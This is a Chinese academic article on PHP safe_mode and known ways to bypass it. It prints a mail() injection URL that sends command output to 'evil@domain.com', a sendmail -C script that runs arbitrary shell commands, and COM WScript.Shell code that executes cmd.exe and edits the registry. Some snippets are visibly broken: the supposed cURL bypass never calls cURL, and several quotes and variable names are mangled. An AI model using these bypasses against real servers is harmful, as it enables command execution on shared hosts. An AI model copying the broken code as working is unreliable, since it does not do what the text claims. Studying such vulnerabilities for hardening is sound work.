馮碩 李永義
1唐山廣播電視大學(xué)教學(xué)管理中心 河北 063000 2唐山廣播電視大學(xué)網(wǎng)絡(luò)中心 河北 063000
PHP的安全模式即safe_mode是為了解決共享服務(wù)器安全問題而設(shè)置的,而且是惟一具有 PHP_INI_SYSTEM 屬性配置項。與magic_quotes_gpc的功能相似,safe_mode的主要功能是提高 PHP服務(wù)器的安全及性能,而且提供了比magic_quotes_gpc更為靈活、強(qiáng)大的管理功能。在多數(shù)情況下,通過修改WEB服務(wù)器層或操作系統(tǒng)層來解決安全問題存在較大難度,因此,虛擬主機(jī)服務(wù)提供商及大多數(shù)服務(wù)器管理員等都會使用PHP的Safe mode來增強(qiáng)系統(tǒng)的安全性,其增強(qiáng)內(nèi)容主要包括四個方面:(1)限制哪些命令可以被執(zhí)行;(2)限制哪些函數(shù)可以被使用;(3)基于腳本所有權(quán)和目標(biāo)文件所有權(quán)的文件訪問限制設(shè)置;(4)禁止文件上載功能等。除了可以增強(qiáng)系統(tǒng)的安全性外,PHP的Safe mode對于服務(wù)器的性能提高也有很大作用。
PHP曾經(jīng)出現(xiàn)過很多漏洞,比較嚴(yán)重的是一些函數(shù)漏洞,包括curl_init、exif_read_data等函數(shù)。如果不及時修補(bǔ)漏洞,攻擊者很容易利用存在漏洞的函數(shù)突破PHP的安全限制,例如:
(1)PHP mail()執(zhí)行指令任意漏洞: 4.0.5至4.2.2版本的PHP都存在PHP mail函數(shù)繞過safe_mode限制執(zhí)行任意命令的漏洞。從4.0.5版本開始,PHP為mail函數(shù)增加了第五個參數(shù),由于設(shè)計問題,利用這個參數(shù)可以突破 safe_mode限制執(zhí)行命令。其中4.0.5版本突破非常簡單,只需用分號分隔開后面的shell命令就可以,如存在一個evil.php文件,內(nèi)容為:
<?
Mail(“foo@bar,”foo”,”bar”,””,$bar);
?>
執(zhí)行如下URL:
Foo.com/evil.php? bar=;/usr/bin/id|mail evil@domain.com
對于4.0.6至4.2.2版PHP,要突破safe_mode限制還需要利用sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail,因此基于Windows環(huán)境的系統(tǒng)不存在這個漏洞。編輯運行如下一段代碼,就可以突破safe_mode限制執(zhí)行任意命令了:
<?
# 下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
(2)PHP JPEG文件處理不正確導(dǎo)致遠(yuǎn)程任意指令執(zhí)行漏洞:2005年1月發(fā)現(xiàn)PHP在處理JPEG文件時存在問題的漏洞,影響的PHP系統(tǒng)范圍較大,包括PHP4.3.6-5.0.2多個版本。雖然及時發(fā)布了相應(yīng)的補(bǔ)丁程序,但仍然有很多未更新的系統(tǒng)存在,遠(yuǎn)程攻擊者可以利用這個漏洞,以 WEB進(jìn)程權(quán)限在系統(tǒng)上執(zhí)行任意指令。導(dǎo)致這一漏洞的問題存在于exif_read_data()函數(shù)中,通過發(fā)送包含超長的“sectionname”數(shù)據(jù)的JPEG文件給支持圖像上傳的PHP應(yīng)用程序,可以導(dǎo)致發(fā)生緩沖區(qū)溢出,精心構(gòu)造提交數(shù)據(jù)可能以WEB進(jìn)程權(quán)限在系統(tǒng)上執(zhí)行任意指令。
(3)PHP cURL函數(shù)允許腳本繞過“open_basedir”目錄限制漏洞:4.0-4.3.9所有版本的PHP系統(tǒng)均存在cURL漏洞,本地攻擊者可以利用它繞過 open_basedir目錄設(shè)置,F(xiàn)raMe公布報告本地用戶可以調(diào)用cURL(liburl)函數(shù)繞過“php.ini”文件中的“open_basedir”限制??梢杂萌缦麓a實現(xiàn)突破:
<?php
$dir=”/tmp”;
//Open a known directory,and proceed to read its contents
If (is_dir($dir)){
While(($file=readdir($dh))!==false){
Print “filename:$file:filetype:”filetype($dir.$file).” ”;
Closedir($dh);
}
}
?>
除cURL函數(shù)外,還可以利用opendir函數(shù)代替系統(tǒng)的“l(fā)s”或“dir”命令。
(4)文件屬主不受safe_mode限制漏洞:如前所述,當(dāng)被操作的文件所在的目錄的 UID和腳本 UID不一致時,safe_mode將限制其存取操作,但如果被操作的文件所在的目錄的UID和腳本UID一致時,即使該文件的UID和腳本的UID不同,也可以訪問,因此,PHP腳本屬主用戶需要詳細(xì)配置,如果使用root用戶作為腳本的屬主,那么Safe mode就完全失去意義了。
PHP的COM函數(shù)是Windows版本的PHP系統(tǒng)特有的函數(shù),是一種允許可重用代碼使用標(biāo)準(zhǔn)常規(guī)調(diào)用同時將執(zhí)行細(xì)節(jié)隱藏在API后的技術(shù),如組件存儲在某臺計算機(jī)上,同時可對計算機(jī)執(zhí)行內(nèi)務(wù)處理。它可以被認(rèn)為是一種帶基礎(chǔ)根對象的超級遠(yuǎn)程過程調(diào)用(Remote Procedure Call, RPC)機(jī)制。COM函數(shù)促使執(zhí)行從接口中分離,同時隱藏了執(zhí)行的位置、代碼語言等細(xì)節(jié),因此它廣泛應(yīng)用在Win32環(huán)境下的軟件開發(fā)中。通過COM函數(shù),可以輕易調(diào)用WIN32下的WSH/FSO組件來執(zhí)行系統(tǒng)命令,因此,利用它突破Safe mode的限制就很容易了,實現(xiàn)代碼如下:
<?php
//利用COM函數(shù)執(zhí)行系統(tǒng)命令
Function cmdrun($apli)
{
Global $WshShell;
$valors=$WshShell->run($apli);
Return($valors);
}
//操作注冊表
Function rtv_registre($aplicacio,$nom)
{
Global $WshShell;
$registre=”HKEY_LOCAL_MACHINESOFTWARE\”.$a plicacio.”\”.$nom;
$valor=$WshShell->RegRead($registre);
Return($valor);
}
Function put_registre($aplicacio,$nom,$valor,$tipus=”REG_SZ”)
{
Global $WshShell;
$registre=”HKEY_LOCAL_MACHINESOFTWARE\”.$a plicacio.”\”.$nom;
$retorn=$WshShell->RegWrite($registre,$valor,$tipus);
Return($retorn);
}
//載入WScript.Shell
$WshShell=new COM(“WScript.Shell”);
$a=rtv_registre(“wom”,”location”);
Echo $a.”<br>”;
//指定執(zhí)行命令
$b=cmdrun(“cmd.exe /c dir e:\>a.txt”);
Echo $b;
//載入Scripting.FileSysytemObject
$exFSO=new COM(“Scripting.FileSystemObject”) or die(“Could not create Scripting.FileSystemObject”);
$myDir=”./”;
$myFile=”a.txt”;
$exDir=$exFSO->GetFolder($myDir);
$exFile=$exFSO->Getfile($myFile);
Echo $exDir->ShortPath;
Echo $exFile->ShortPath;
?>
使用 dl()可以動態(tài)地載入用戶編寫的擴(kuò)展模塊,而Java擴(kuò)展模塊是實驗性的,其行為,包括其函數(shù)的名稱及其它任何關(guān)于此模塊的文檔可能在沒有通知的情況下隨 PHP以后的發(fā)布而改變,因此,PHP官方網(wǎng)站提醒用戶在使用本擴(kuò)展模塊時要自已擔(dān)負(fù)風(fēng)險。
雖然在PHP中的Safe mode并非萬能的,但最好還是在服務(wù)器上打開安全模式,從而在一定程度上避免一些未知的攻擊。但是,對程序員來說,啟用Safe mode會有很多限制,特別是與系統(tǒng)相關(guān)的一些操作,如文件打開函數(shù)、命令執(zhí)行函數(shù)等,使用起來均比較麻煩,而且源代碼要做很多調(diào)整才能正常使用,因此,是否開啟Safe mode模式,應(yīng)該綜合考慮,詳細(xì)配置安全計劃。
[1]kevin.Windows的COM 支持函數(shù)庫.2001.4.http://www.phpe.net/manual/ref.com.php.
[2]Image圖像函數(shù)(Image Processing and GD).http://cn2.php.net/gd.